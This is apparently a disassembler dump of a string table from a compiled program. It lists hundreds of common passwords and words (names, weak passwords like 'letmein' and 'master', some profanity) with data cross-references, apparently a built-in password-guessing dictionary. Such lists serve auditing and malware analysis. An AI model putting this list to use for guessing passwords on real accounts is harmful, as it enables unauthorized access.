aMountain db 'mountain',0 ; DATA XREF: seg002:0042D350o align 4 aMosaic db 'mosaic',0 ; DATA XREF: seg002:0042D34Co align 10h aMortgage db 'mortgage',0 ; DATA XREF: seg002:0042D348o align 4 aMortalco db 'mortalco',0 ; DATA XREF: seg002:0042D344o align 4 aMortal db 'mortal',0 ; DATA XREF: seg002:0042D340o align 10h aMorris db 'morris',0 ; DATA XREF: seg002:0042D33Co align 4 aMorley db 'morley',0 ; DATA XREF: seg002:0042D338o align 10h aMore db 'more',0 ; DATA XREF: seg002:0042D334o align 4 aMoose db 'moose',0 ; DATA XREF: seg002:0042D330o align 10h aMoor db 'moor',0 ; DATA XREF: seg002:0042D32Co align 4 aMoom db 'moom',0 ; DATA XREF: seg002:0042D328o align 10h aMonica db 'monica',0 ; DATA XREF: seg002:0042D324o align 4 aMonday db 'monday',0 ; DATA XREF: seg002:0042D320o align 10h aMoguls db 'moguls',0 ; DATA XREF: seg002:0042D31Co align 4 aMogul db 'mogul',0 ; DATA XREF: seg002:0042D318o align 10h aModem db 'modem',0 ; DATA XREF: seg002:0042D314o align 4 aMode db 'mode',0 ; DATA XREF: seg002:0042D310o align 10h aMkii db 'mkii',0 ; DATA XREF: seg002:0042D30Co align 4 aMission db 'mission',0 ; DATA XREF: seg002:0042D308o aMisfit db 'misfit',0 ; DATA XREF: seg002:0042D304o align 4 aMinsky db 'minsky',0 ; DATA XREF: seg002:0042D300o align 10h aMinimum db 'minimum',0 ; DATA XREF: seg002:0042D2FCo aMine db 'mine',0 ; DATA XREF: seg002:0042D2F8o align 10h aMike db 'mike',0 ; DATA XREF: seg002:0042D2F4o align 4 aMidieval db 'midieval',0 ; DATA XREF: seg002:0042D2F0o align 4 aMicrosof db 'microsof',0 ; DATA XREF: seg002:0042D2ECo align 10h aMicropro db 'micropro',0 ; DATA XREF: seg002:0042D2E8o align 4 aMicrochi db 'microchi',0 ; DATA XREF: seg002:0042D2E4o align 4 aMicro db 'micro',0 ; DATA XREF: seg002:0042D2E0o align 10h aMickey db 'mickey',0 ; DATA XREF: seg002:0042D2DCo align 4 aMichelle db 'michelle',0 ; DATA XREF: seg002:0042D2D8o align 4 aMichele db 'michele',0 ; DATA XREF: seg002:0042D2D4o aMichelan db 'michelan',0 ; DATA XREF: seg002:0042D2D0o align 4 aMichel db 'michel',0 ; DATA XREF: seg002:0042D2CCo align 10h aMichael db 'michael',0 ; DATA XREF: seg002:0042D2C8o aMice db 'mice',0 ; DATA XREF: seg002:0042D2C4o align 10h aMets db 'mets',0 ; DATA XREF: seg002:0042D2C0o align 4 aMetalica db 'metalica',0 ; DATA XREF: seg002:0042D2BCo align 4 aMetalhea db 'metalhea',0 ; DATA XREF: seg002:0042D2B8o align 10h aMetal db 'metal',0 ; DATA XREF: seg002:0042D2B4o align 4 aMerlin db 'merlin',0 ; DATA XREF: seg002:0042D2B0o align 10h aMercury db 'mercury',0 ; DATA XREF: seg002:0042D2ACo aMenu db 'menu',0 ; DATA XREF: seg002:0042D2A8o align 10h aMenace db 'menace',0 ; DATA XREF: seg002:0042D2A4o align 4 aMemory db 'memory',0 ; DATA XREF: seg002:0042D2A0o align 10h aMember db 'member',0 ; DATA XREF: seg002:0042D29Co align 4 aMelrose db 'melrose',0 ; DATA XREF: seg002:0042D298o aMellon db 'mellon',0 ; DATA XREF: seg002:0042D294o align 4 aMelissa db 'melissa',0 ; DATA XREF: seg002:0042D290o aMegan db 'megan',0 ; DATA XREF: seg002:0042D28Co align 4 aMegadeth db 'megadeth',0 ; DATA XREF: seg002:0042D288o align 4 aMegabyte db 'megabyte',0 ; DATA XREF: seg002:0042D284o align 10h aMeagan db 'meagan',0 ; DATA XREF: seg002:0042D280o align 4 aMaurice db 'maurice',0 ; DATA XREF: seg002:0042D27Co aMath db 'math',0 ; DATA XREF: seg002:0042D278o align 4 aMaster db 'master',0 ; DATA XREF: seg002:0042D274o align 10h aMason db 'mason',0 ; DATA XREF: seg002:0042D270o align 4 aMary db 'mary',0 ; DATA XREF: seg002:0042D26Co align 10h aMarvin db 'marvin',0 ; DATA XREF: seg002:0042D268o align 4 aMarty db 'marty',0 ; DATA XREF: seg002:0042D264o align 10h aMars db 'mars',0 ; DATA XREF: seg002:0042D260o align 4 aMarriage db 'marriage',0 ; DATA XREF: seg002:0042D25Co align 4 aMarni db 'marni',0 ; DATA XREF: seg002:0042D258o align 4 aMarkus db 'markus',0 ; DATA XREF: seg002:0042D254o align 4 aMark db 'mark',0 ; DATA XREF: seg002:0042D250o align 4 aMarines db 'marines',0 ; DATA XREF: seg002:0042D24Co aMarijuan db 'marijuan',0 ; DATA XREF: seg002:0042D248o align 10h aMarietta db 'marietta',0 ; DATA XREF: seg002:0042D244o align 4 aMariens db 'mariens',0 ; DATA XREF: seg002:0042D240o aMaria db 'maria',0 ; DATA XREF: seg002:0042D23Co align 4 aMarcy db 'marcy',0 ; DATA XREF: seg002:0042D238o align 4 aMarci db 'marci',0 ; DATA XREF: seg002:0042D234o align 4 aMara db 'mara',0 ; DATA XREF: seg002:0042D230o align 4 aManager db 'manager',0 ; DATA XREF: seg002:0042D22Co aMana db 'mana',0 ; DATA XREF: seg002:0042D228o align 4 aMalcom db 'malcom',0 ; DATA XREF: seg002:0042D224o align 4 aMalcolm db 'malcolm',0 ; DATA XREF: seg002:0042D220o aMaint db 'maint',0 ; DATA XREF: seg002:0042D21Co align 4 aMail db 'mail',0 ; DATA XREF: seg002:0042D218o align 4 aMagnet db 'magnet',0 ; DATA XREF: seg002:0042D214o align 4 aMagic db 'magic',0 ; DATA XREF: seg002:0042D210o align 4 aMaggot db 'maggot',0 ; DATA XREF: seg002:0042D20Co align 4 aMacro db 'macro',0 ; DATA XREF: seg002:0042D208o align 4 aMack db 'mack',0 ; DATA XREF: seg002:0042D204o align 4 aMacintos db 'macintos',0 ; DATA XREF: seg002:0042D200o align 4 aMachine db 'machine',0 ; DATA XREF: seg002:0042D1FCo aLynne db 'lynne',0 ; DATA XREF: seg002:0042D1F8o align 4 aLynn db 'lynn',0 ; DATA XREF: seg002:0042D1F4o align 10h aLust db 'lust',0 ; DATA XREF: seg002:0042D1F0o align 4 aLuke db 'luke',0 ; DATA XREF: seg002:0042D1ECo align 10h aLude db 'lude',0 ; DATA XREF: seg002:0042D1E8o align 4 aLucy db 'lucy',0 ; DATA XREF: seg002:0042D1E4o align 10h aLucus db 'lucus',0 ; DATA XREF: seg002:0042D1E0o align 4 aLuck db 'luck',0 ; DATA XREF: seg002:0042D1DCo align 10h aLover db 'lover',0 ; DATA XREF: seg002:0042D1D8o align 4 aLovebug db 'lovebug',0 ; DATA XREF: seg002:0042D1D4o aLouis db 'louis',0 ; DATA XREF: seg002:0042D1D0o align 4 aLoser db 'loser',0 ; DATA XREF: seg002:0042D1CCo align 10h aLorraine db 'lorraine',0 ; DATA XREF: seg002:0042D1C8o align 4 aLorin db 'lorin',0 ; DATA XREF: seg002:0042D1C4o align 4 aLori db 'lori',0 ; DATA XREF: seg002:0042D1C0o align 4 aLore db 'lore',0 ; DATA XREF: seg002:0042D1BCo align 4 aLoose db 'loose',0 ; DATA XREF: seg002:0042D1B8o align 4 aLolopc db 'lolopc',0 ; DATA XREF: seg002:0042D1B4o align 4 aLois db 'lois',0 ; DATA XREF: seg002:0042D1B0o align 4 aLogout db 'logout',0 ; DATA XREF: seg002:0042D1ACo align 4 aLoginwor db 'loginwor',0 ; DATA XREF: seg002:0042D1A8o align 10h aLogic db 'logic',0 ; DATA XREF: seg002:0042D1A4o align 4 aLockword db 'lockword',0 ; DATA XREF: seg002:0042D1A0o align 4 aLockout db 'lockout',0 ; DATA XREF: seg002:0042D19Co aLock db 'lock',0 ; DATA XREF: seg002:0042D198o align 4 aLoad db 'load',0 ; DATA XREF: seg002:0042D194o align 4 aLive db 'live',0 ; DATA XREF: seg002:0042D190o align 4 aLiteratu db 'literatu',0 ; DATA XREF: seg002:0042D18Co align 10h aLisp db 'lisp',0 ; DATA XREF: seg002:0042D188o align 4 aLisa db 'lisa',0 ; DATA XREF: seg002:0042D184o align 10h aLips db 'lips',0 ; DATA XREF: seg002:0042D180o align 4 aLion db 'lion',0 ; DATA XREF: seg002:0042D17Co align 10h aLink db 'link',0 ; DATA XREF: seg002:0042D178o align 4 aLinda db 'linda',0 ; DATA XREF: seg002:0042D174o align 10h aLimited db 'limited',0 ; DATA XREF: seg002:0042D170o aLimbaugh db 'limbaugh',0 ; DATA XREF: seg002:0042D16Co align 4 aLima db 'lima',0 ; DATA XREF: seg002:0042D168o align 4 aLightsab db 'lightsab',0 ; DATA XREF: seg002:0042D164o align 4 aLight db 'light',0 ; DATA XREF: seg002:0042D160o align 10h aLife db 'life',0 ; DATA XREF: seg002:0042D15Co align 4 aLicker db 'licker',0 ; DATA XREF: seg002:0042D158o align 10h aLick db 'lick',0 ; DATA XREF: seg002:0042D154o align 4 aLibrary db 'library',0 ; DATA XREF: seg002:0042D150o aLiberal db 'liberal',0 ; DATA XREF: seg002:0042D14Co aLexluthe db 'lexluthe',0 ; DATA XREF: seg002:0042D148o align 4 aLewis db 'lewis',0 ; DATA XREF: seg002:0042D144o align 4 aLetmein db 'letmein',0 ; DATA XREF: seg002:0042D140o aLeslie db 'leslie',0 ; DATA XREF: seg002:0042D13Co align 4 aLesbian db 'lesbian',0 ; DATA XREF: seg002:0042D138o aLeroy db 'leroy',0 ; DATA XREF: seg002:0042D134o align 4 aLeland db 'leland',0 ; DATA XREF: seg002:0042D130o align 4 aLegal db 'legal',0 ; DATA XREF: seg002:0042D12Co align 4 aLeftwing db 'leftwing',0 ; DATA XREF: seg002:0042D128o align 4 aLeft db 'left',0 ; DATA XREF: seg002:0042D124o align 10h aLebesgue db 'lebesgue',0 ; DATA XREF: seg002:0042D120o align 4 aLeah db 'leah',0 ; DATA XREF: seg002:0042D11Co align 4 aLazer db 'lazer',0 ; DATA XREF: seg002:0042D118o align 4 aLazarus db 'lazarus',0 ; DATA XREF: seg002:0042D114o aLava db 'lava',0 ; DATA XREF: seg002:0042D110o align 4 aLaura db 'laura',0 ; DATA XREF: seg002:0042D10Co align 4 aLaser db 'laser',0 ; DATA XREF: seg002:0042D108o align 4 aLarry db 'larry',0 ; DATA XREF: seg002:0042D104o align 4 aLarkin db 'larkin',0 ; DATA XREF: seg002:0042D100o align 4 aLara db 'lara',0 ; DATA XREF: seg002:0042D0FCo align 4 aLaptop db 'laptop',0 ; DATA XREF: seg002:0042D0F8o align 4 aLana db 'lana',0 ; DATA XREF: seg002:0042D0F4o align 4 aLaminati db 'laminati',0 ; DATA XREF: seg002:0042D0F0o align 10h aLambda db 'lambda',0 ; DATA XREF: seg002:0042D0ECo align 4 aLakers db 'lakers',0 ; DATA XREF: seg002:0042D0E8o align 10h aLadle db 'ladle',0 ; DATA XREF: seg002:0042D0E4o align 4 aLadies db 'ladies',0 ; DATA XREF: seg002:0042D0E0o align 10h aKristy db 'kristy',0 ; DATA XREF: seg002:0042D0DCo align 4 aKristine db 'kristine',0 ; DATA XREF: seg002:0042D0D8o align 4 aKristin db 'kristin',0 ; DATA XREF: seg002:0042D0D4o aKristie db 'kristie',0 ; DATA XREF: seg002:0042D0D0o aKristi db 'kristi',0 ; DATA XREF: seg002:0042D0CCo align 4 aKristen db 'kristen',0 ; DATA XREF: seg002:0042D0C8o aKrista db 'krista',0 ; DATA XREF: seg002:0042D0C4o align 4 aKnown db 'known',0 ; DATA XREF: seg002:0042D0C0o align 4 aKnightma db 'knightma',0 ; DATA XREF: seg002:0042D0BCo align 10h aKnight db 'knight',0 ; DATA XREF: seg002:0042D0B8o align 4 aKnife db 'knife',0 ; DATA XREF: seg002:0042D0B4o align 10h aKlingon db 'klingon',0 ; DATA XREF: seg002:0042D0B0o aKitten db 'kitten',0 ; DATA XREF: seg002:0042D0ACo align 10h aKissmyas db 'kissmyas',0 ; DATA XREF: seg002:0042D0A8o align 4 aKiss db 'kiss',0 ; DATA XREF: seg002:0042D0A4o align 4 aKirkland db 'kirkland',0 ; DATA XREF: seg002:0042D0A0o align 10h aKirk db 'kirk',0 ; DATA XREF: seg002:0042D09Co align 4 aKing db 'king',0 ; DATA XREF: seg002:0042D098o align 10h aKimberly db 'kimberly',0 ; DATA XREF: seg002:0042D094o align 4 aKilo db 'kilo',0 ; DATA XREF: seg002:0042D090o align 4 aKillthem db 'killthem',0 ; DATA XREF: seg002:0042D08Co align 10h aKill db 'kill',0 ; DATA XREF: seg002:0042D088o align 4 aKids db 'kids',0 ; DATA XREF: seg002:0042D084o align 10h aKeyword db 'keyword',0 ; DATA XREF: seg002:0042D080o aKeyin db 'keyin',0 ; DATA XREF: seg002:0042D07Co align 10h aKeybord db 'keybord',0 ; DATA XREF: seg002:0042D078o aKewl db 'kewl',0 ; DATA XREF: seg002:0042D074o align 10h aKevin db 'kevin',0 ; DATA XREF: seg002:0042D070o align 4 aKerry db 'kerry',0 ; DATA XREF: seg002:0042D06Co align 10h aKerrie db 'kerrie',0 ; DATA XREF: seg002:0042D068o align 4 aKerri db 'kerri',0 ; DATA XREF: seg002:0042D064o align 10h aKernel db 'kernel',0 ; DATA XREF: seg002:0042D060o align 4 aKermit db 'kermit',0 ; DATA XREF: seg002:0042D05Co align 10h aKeri db 'keri',0 ; DATA XREF: seg002:0042D058o align 4 aKelly db 'kelly',0 ; DATA XREF: seg002:0042D054o align 10h aKatrina db 'katrina',0 ; DATA XREF: seg002:0042D050o aKatina db 'katina',0 ; DATA XREF: seg002:0042D04Co align 10h aKathy db 'kathy',0 ; DATA XREF: seg002:0042D048o align 4 aKathrine db 'kathrine',0 ; DATA XREF: seg002:0042D044o align 4 aKathleen db 'kathleen',0 ; DATA XREF: seg002:0042D040o align 10h aKate db 'kate',0 ; DATA XREF: seg002:0042D03Co align 4 aKatana db 'katana',0 ; DATA XREF: seg002:0042D038o align 10h aKarina db 'karina',0 ; DATA XREF: seg002:0042D034o align 4 aKarie db 'karie',0 ; DATA XREF: seg002:0042D030o align 10h aKaren db 'karen',0 ; DATA XREF: seg002:0042D02Co align 4 aKaka db 'kaka',0 ; DATA XREF: seg002:0042D028o align 10h aJupiter db 'jupiter',0 ; DATA XREF: seg002:0042D024o aJune db 'june',0 ; DATA XREF: seg002:0042D020o align 10h aJuliet db 'juliet',0 ; DATA XREF: seg002:0042D01Co align 4 aJulie db 'julie',0 ; DATA XREF: seg002:0042D018o align 10h aJulia db 'julia',0 ; DATA XREF: seg002:0042D014o align 4 aJuicy db 'juicy',0 ; DATA XREF: seg002:0042D010o align 10h aJuggle db 'juggle',0 ; DATA XREF: seg002:0042D00Co align 4 aJudy db 'judy',0 ; DATA XREF: seg002:0042D008o align 10h aJudith db 'judith',0 ; DATA XREF: seg002:0042D004o align 4 aJoyce db 'joyce',0 ; DATA XREF: seg002:0042D000o align 10h aJournal db 'journal',0 ; DATA XREF: seg002:0042CFFCo aJoshua db 'joshua',0 ; DATA XREF: seg002:0042CFF8o align 10h aJoseph db 'joseph',0 ; DATA XREF: seg002:0042CFF4o align 4 aJohnny db 'johnny',0 ; DATA XREF: seg002:0042CFF0o align 10h aJohndoe db 'johndoe',0 ; DATA XREF: seg002:0042CFECo aJohn db 'john',0 ; DATA XREF: seg002:0042CFE8o align 10h aJody db 'jody',0 ; DATA XREF: seg002:0042CFE4o align 4 aJoanne db 'joanne',0 ; DATA XREF: seg002:0042CFE0o align 10h aJixian db 'jixian',0 ; DATA XREF: seg002:0042CFDCo align 4 aJill db 'jill',0 ; DATA XREF: seg002:0042CFD8o align 10h aJewelry db 'jewelry',0 ; DATA XREF: seg002:0042CFD4o aJester db 'jester',0 ; DATA XREF: seg002:0042CFD0o align 10h aJessica db 'jessica',0 ; DATA XREF: seg002:0042CFCCo aJerusale db 'jerusale',0 ; DATA XREF: seg002:0042CFC8o align 4 aJerry db 'jerry',0 ; DATA XREF: seg002:0042CFC4o align 4 aJenny db 'jenny',0 ; DATA XREF: seg002:0042CFC0o align 4 aJennifer db 'jennifer',0 ; DATA XREF: seg002:0042CFBCo align 10h aJenni db 'jenni',0 ; DATA XREF: seg002:0042CFB8o align 4 aJeff db 'jeff',0 ; DATA XREF: seg002:0042CFB4o align 10h aJeanne db 'jeanne',0 ; DATA XREF: seg002:0042CFB0o align 4 aJean db 'jean',0 ; DATA XREF: seg002:0042CFACo align 10h aJazz db 'jazz',0 ; DATA XREF: seg002:0042CFA8o align 4 aJava db 'java',0 ; DATA XREF: seg002:0042CFA4o align 10h aJasmin db 'jasmin',0 ; DATA XREF: seg002:0042CFA0o align 4 aJapan db 'japan',0 ; DATA XREF: seg002:0042CF9Co align 10h aJanie db 'janie',0 ; DATA XREF: seg002:0042CF98o align 4 aJanice db 'janice',0 ; DATA XREF: seg002:0042CF94o align 10h aJanet db 'janet',0 ; DATA XREF: seg002:0042CF90o align 4 aJane db 'jane',0 ; DATA XREF: seg002:0042CF8Co align 10h aJail db 'jail',0 ; DATA XREF: seg002:0042CF88o align 4 aJackie db 'jackie',0 ; DATA XREF: seg002:0042CF84o align 10h aIsis db 'isis',0 ; DATA XREF: seg002:0042CF80o align 4 aIrishman db 'irishman',0 ; DATA XREF: seg002:0042CF7Co align 4 aIrene db 'irene',0 ; DATA XREF: seg002:0042CF78o align 4 aInvent db 'invent',0 ; DATA XREF: seg002:0042CF74o align 4 aInteger db 'integer',0 ; DATA XREF: seg002:0042CF70o aInside db 'inside',0 ; DATA XREF: seg002:0042CF6Co align 4 aInput db 'input',0 ; DATA XREF: seg002:0042CF68o align 4 aInnocuou db 'innocuou',0 ; DATA XREF: seg002:0042CF64o align 4 aInna db 'inna',0 ; DATA XREF: seg002:0042CF60o align 10h aIngrid db 'ingrid',0 ; DATA XREF: seg002:0042CF5Co align 4 aIngress db 'ingress',0 ; DATA XREF: seg002:0042CF58o aIngres db 'ingres',0 ; DATA XREF: seg002:0042CF54o align 4 aIndians db 'indians',0 ; DATA XREF: seg002:0042CF50o aIndiana db 'indiana',0 ; DATA XREF: seg002:0042CF4Co aIndian db 'indian',0 ; DATA XREF: seg002:0042CF48o align 10h aIndia db 'india',0 ; DATA XREF: seg002:0042CF44o align 4 aInclude db 'include',0 ; DATA XREF: seg002:0042CF40o aImperial db 'imperial',0 ; DATA XREF: seg002:0042CF3Co align 4 aImmortal db 'immortal',0 ; DATA XREF: seg002:0042CF38o align 4 aImbrogli db 'imbrogli',0 ; DATA XREF: seg002:0042CF34o align 4 aImage db 'image',0 ; DATA XREF: seg002:0042CF30o align 4 aIllumina db 'illumina',0 ; DATA XREF: seg002:0042CF2Co align 4 aIcecream db 'icecream',0 ; DATA XREF: seg002:0042CF28o align 4 aHypertxt db 'hypertxt',0 ; DATA XREF: seg002:0042CF24o align 10h aHyper db 'hyper',0 ; DATA XREF: seg002:0042CF20o align 4 aHydrogen db 'hydrogen',0 ; DATA XREF: seg002:0042CF1Co align 4 aHutchins db 'hutchins',0 ; DATA XREF: seg002:0042CF18o align 10h aHunter db 'hunter',0 ; DATA XREF: seg002:0042CF14o align 4 aHunt db 'hunt',0 ; DATA XREF: seg002:0042CF10o align 10h aHttp_0 db 'http',0 ; DATA XREF: seg002:0042CF0Co align 4 aHotel db 'hotel',0 ; DATA XREF: seg002:0042CF08o align 10h aHotdog db 'hotdog',0 ; DATA XREF: seg002:0042CF04o align 4 aHost db 'host',0 ; DATA XREF: seg002:0042CF00o align 10h aHorus db 'horus',0 ; DATA XREF: seg002:0042CEFCo align 4 aHorse db 'horse',0 ; DATA XREF: seg002:0042CEF8o align 10h aHorror db 'horror',0 ; DATA XREF: seg002:0042CEF4o align 4 aHorrible db 'horrible',0 ; DATA XREF: seg002:0042CEF0o align 4 aHorny db 'horny',0 ; DATA XREF: seg002:0042CEECo align 4 aHooters db 'hooters',0 ; DATA XREF: seg002:0042CEE8o aHooker db 'hooker',0 ; DATA XREF: seg002:0042CEE4o align 4 aHoney db 'honey',0 ; DATA XREF: seg002:0042CEE0o align 4 aHomework db 'homework',0 ; DATA XREF: seg002:0042CEDCo align 10h aHomer db 'homer',0 ; DATA XREF: seg002:0042CED8o align 4 aHomepage db 'homepage',0 ; DATA XREF: seg002:0042CED4o align 4 aHollywoo db 'hollywoo',0 ; DATA XREF: seg002:0042CED0o align 10h aHolly db 'holly',0 ; DATA XREF: seg002:0042CECCo align 4 aHole db 'hole',0 ; DATA XREF: seg002:0042CEC8o align 10h aHits db 'hits',0 ; DATA XREF: seg002:0042CEC4o align 4 aHitler db 'hitler',0 ; DATA XREF: seg002:0042CEC0o align 10h aHighland db 'highland',0 ; DATA XREF: seg002:0042CEBCo align 4 aHigh db 'high',0 ; DATA XREF: seg002:0042CEB8o align 4 aHidden db 'hidden',0 ; DATA XREF: seg002:0042CEB4o align 4 aHibernia db 'hibernia',0 ; DATA XREF: seg002:0042CEB0o align 4 aHiawatha db 'hiawatha',0 ; DATA XREF: seg002:0042CEACo align 4 aHexadeci db 'hexadeci',0 ; DATA XREF: seg002:0042CEA8o align 10h aHewlett db 'hewlett',0 ; DATA XREF: seg002:0042CEA4o aHeroin db 'heroin',0 ; DATA XREF: seg002:0042CEA0o align 10h aHero db 'hero',0 ; DATA XREF: seg002:0042CE9Co align 4 aHerbert db 'herbert',0 ; DATA XREF: seg002:0042CE98o aHerb db 'herb',0 ; DATA XREF: seg002:0042CE94o align 4 aHelp db 'help',0 ; DATA XREF: seg002:0042CE90o align 10h aHello db 'hello',0 ; DATA XREF: seg002:0042CE8Co align 4 aHell db 'hell',0 ; DATA XREF: seg002:0042CE88o align 10h aHeinlein db 'heinlein',0 ; DATA XREF: seg002:0042CE84o align 4 aHeidi db 'heidi',0 ; DATA XREF: seg002:0042CE80o align 4 aHebrides db 'hebrides',0 ; DATA XREF: seg002:0042CE7Co align 10h aHeather db 'heather',0 ; DATA XREF: seg002:0042CE78o aHeathen db 'heathen',0 ; DATA XREF: seg002:0042CE74o aHeat db 'heat',0 ; DATA XREF: seg002:0042CE70o align 4 aHeadbang db 'headbang',0 ; DATA XREF: seg002:0042CE6Co align 4 aHead db 'head',0 ; DATA XREF: seg002:0042CE68o align 4 aHawaii db 'hawaii',0 ; DATA XREF: seg002:0042CE64o align 4 aHaven db 'haven',0 ; DATA XREF: seg002:0042CE60o align 4 aHate db 'hate',0 ; DATA XREF: seg002:0042CE5Co align 4 aHarvey db 'harvey',0 ; DATA XREF: seg002:0042CE58o align 4 aHarold db 'harold',0 ; DATA XREF: seg002:0042CE54o align 4 aHarmony db 'harmony',0 ; DATA XREF: seg002:0042CE50o aHarddriv db 'harddriv',0 ; DATA XREF: seg002:0042CE4Co align 4 aHardcore db 'hardcore',0 ; DATA XREF: seg002:0042CE48o align 4 aHard db 'hard',0 ; DATA XREF: seg002:0042CE44o align 4 aHappenin db 'happenin',0 ; DATA XREF: seg002:0042CE40o align 4 aHandjob db 'handjob',0 ; DATA XREF: seg002:0042CE3Co aHandily db 'handily',0 ; DATA XREF: seg002:0042CE38o aHandel db 'handel',0 ; DATA XREF: seg002:0042CE34o align 10h aHamster db 'hamster',0 ; DATA XREF: seg002:0042CE30o aHamlet db 'hamlet',0 ; DATA XREF: seg002:0042CE2Co align 10h aHallowee db 'hallowee',0 ; DATA XREF: seg002:0042CE28o align 4 aHair db 'hair',0 ; DATA XREF: seg002:0042CE24o align 4 aHagar db 'hagar',0 ; DATA XREF: seg002:0042CE20o align 4 aHacked db 'hacked',0 ; DATA XREF: seg002:0042CE1Co align 4 aHack db 'hack',0 ; DATA XREF: seg002:0042CE18o align 4 aGuntis db 'guntis',0 ; DATA XREF: seg002:0042CE14o align 4 aGumption db 'gumption',0 ; DATA XREF: seg002:0042CE10o align 10h aGuitar db 'guitar',0 ; DATA XREF: seg002:0042CE0Co align 4 aGuess db 'guess',0 ; DATA XREF: seg002:0042CE08o align 10h aGucci db 'gucci',0 ; DATA XREF: seg002:0042CE04o align 4 aGuardian db 'guardian',0 ; DATA XREF: seg002:0042CE00o align 4 aGryphon db 'gryphon',0 ; DATA XREF: seg002:0042CDFCo aGroup db 'group',0 ; DATA XREF: seg002:0042CDF8o align 4 aGreen db 'green',0 ; DATA XREF: seg002:0042CDF4o align 4 aGreat db 'great',0 ; DATA XREF: seg002:0042CDF0o align 4 aGrant db 'grant',0 ; DATA XREF: seg002:0042CDECo align 4 aGrand db 'grand',0 ; DATA XREF: seg002:0042CDE8o align 4 aGrahm db 'grahm',0 ; DATA XREF: seg002:0042CDE4o align 4 aGraham db 'graham',0 ; DATA XREF: seg002:0042CDE0o align 4 aGrades db 'grades',0 ; DATA XREF: seg002:0042CDDCo align 4 aGovermen db 'govermen',0 ; DATA XREF: seg002:0042CDD8o align 4 aGouge db 'gouge',0 ; DATA XREF: seg002:0042CDD4o align 10h aGosling db 'gosling',0 ; DATA XREF: seg002:0042CDD0o aGorges db 'gorges',0 ; DATA XREF: seg002:0042CDCCo align 10h aGorgeous db 'gorgeous',0 ; DATA XREF: seg002:0042CDC8o align 4 aGood db 'good',0 ; DATA XREF: seg002:0042CDC4o align 4 aGolfer db 'golfer',0 ; DATA XREF: seg002:0042CDC0o align 4 aGolf db 'golf',0 ; DATA XREF: seg002:0042CDBCo align 4 aGolden db 'golden',0 ; DATA XREF: seg002:0042CDB8o align 4 aGold db 'gold',0 ; DATA XREF: seg002:0042CDB4o align 4 aGlacier db 'glacier',0 ; DATA XREF: seg002:0042CDB0o aGirl db 'girl',0 ; DATA XREF: seg002:0042CDACo align 4 aGinger db 'ginger',0 ; DATA XREF: seg002:0042CDA8o align 4 aGina db 'gina',0 ; DATA XREF: seg002:0042CDA4o align 4 aGigabyte db 'gigabyte',0 ; DATA XREF: seg002:0042CDA0o align 10h aGibson db 'gibson',0 ; DATA XREF: seg002:0042CD9Co align 4 aGhost db 'ghost',0 ; DATA XREF: seg002:0042CD98o align 10h aGertrude db 'gertrude',0 ; DATA XREF: seg002:0042CD94o align 4 aGerm db 'germ',0 ; DATA XREF: seg002:0042CD90o align 4 aGeorge db 'george',0 ; DATA XREF: seg002:0042CD8Co align 4 aGauss db 'gauss',0 ; DATA XREF: seg002:0042CD88o align 4 aGatt db 'gatt',0 ; DATA XREF: seg002:0042CD84o align 4 aGatherin db 'gatherin',0 ; DATA XREF: seg002:0042CD80o align 4 aGateway db 'gateway',0 ; DATA XREF: seg002:0042CD7Co aGarfield db 'garfield',0 ; DATA XREF: seg002:0042CD78o align 4 aGardner db 'gardner',0 ; DATA XREF: seg002:0042CD74o aGames db 'games',0 ; DATA XREF: seg002:0042CD70o align 4 aGabriel db 'gabriel',0 ; DATA XREF: seg002:0042CD6Co aFungible db 'fungible',0 ; DATA XREF: seg002:0042CD68o align 10h aFunction db 'function',0 ; DATA XREF: seg002:0042CD64o align 4 aFudge db 'fudge',0 ; DATA XREF: seg002:0042CD60o align 4 aFuckyou db 'fuckyou',0 ; DATA XREF: seg002:0042CD5Co aFuckme db 'fuckme',0 ; DATA XREF: seg002:0042CD58o align 4 aFucking db 'fucking',0 ; DATA XREF: seg002:0042CD54o aFucker db 'fucker',0 ; DATA XREF: seg002:0042CD50o align 4 aFuck db 'fuck',0 ; DATA XREF: seg002:0042CD4Co align 4 aFryguy db 'fryguy',0 ; DATA XREF: seg002:0042CD48o align 4 aFrog db 'frog',0 ; DATA XREF: seg002:0042CD44o align 4 aFrighten db 'frighten',0 ; DATA XREF: seg002:0042CD40o align 4 aFriends db 'friends',0 ; DATA XREF: seg002:0042CD3Co aFriend db 'friend',0 ; DATA XREF: seg002:0042CD38o align 4 aFriday db 'friday',0 ; DATA XREF: seg002:0042CD34o align 10h aFrench db 'french',0 ; DATA XREF: seg002:0042CD30o align 4 aFreedom db 'freedom',0 ; DATA XREF: seg002:0042CD2Co aFree db 'free',0 ; DATA XREF: seg002:0042CD28o align 4 aFred db 'fred',0 ; DATA XREF: seg002:0042CD24o align 10h aFreak db 'freak',0 ; DATA XREF: seg002:0042CD20o align 4 aFrank db 'frank',0 ; DATA XREF: seg002:0042CD1Co align 10h aFrance db 'france',0 ; DATA XREF: seg002:0042CD18o align 4 aFoxtrot db 'foxtrot',0 ; DATA XREF: seg002:0042CD14o aFourier db 'fourier',0 ; DATA XREF: seg002:0042CD10o aForsythe db 'forsythe',0 ; DATA XREF: seg002:0042CD0Co align 4 aFornicat db 'fornicat',0 ; DATA XREF: seg002:0042CD08o align 10h aFormat db 'format',0 ; DATA XREF: seg002:0042CD04o align 4 aForm db 'form',0 ; DATA XREF: seg002:0042CD00o align 10h aForever db 'forever',0 ; DATA XREF: seg002:0042CCFCo aForesigh db 'foresigh',0 ; DATA XREF: seg002:0042CCF8o align 4 aFord db 'ford',0 ; DATA XREF: seg002:0042CCF4o align 4 aForce db 'force',0 ; DATA XREF: seg002:0042CCF0o align 4 aFootball db 'football',0 ; DATA XREF: seg002:0042CCECo align 10h aFoolproo db 'foolproo',0 ; DATA XREF: seg002:0042CCE8o align 4 aFool db 'fool',0 ; DATA XREF: seg002:0042CCE4o align 4 aFood db 'food',0 ; DATA XREF: seg002:0042CCE0o align 4 aFlowers db 'flowers',0 ; DATA XREF: seg002:0042CCDCo aFlower db 'flower',0 ; DATA XREF: seg002:0042CCD8o align 4 aFlorida db 'florida',0 ; DATA XREF: seg002:0042CCD4o aFloat db 'float',0 ; DATA XREF: seg002:0042CCD0o align 4 aFlakes db 'flakes',0 ; DATA XREF: seg002:0042CCCCo align 4 aFishers db 'fishers',0 ; DATA XREF: seg002:0042CCC8o aFirewall db 'firewall',0 ; DATA XREF: seg002:0042CCC4o align 4 aFire db 'fire',0 ; DATA XREF: seg002:0042CCC0o align 10h aFinite db 'finite',0 ; DATA XREF: seg002:0042CCBCo align 4 aFile db 'file',0 ; DATA XREF: seg000:0040EB48o ; seg000:0040EBBEo 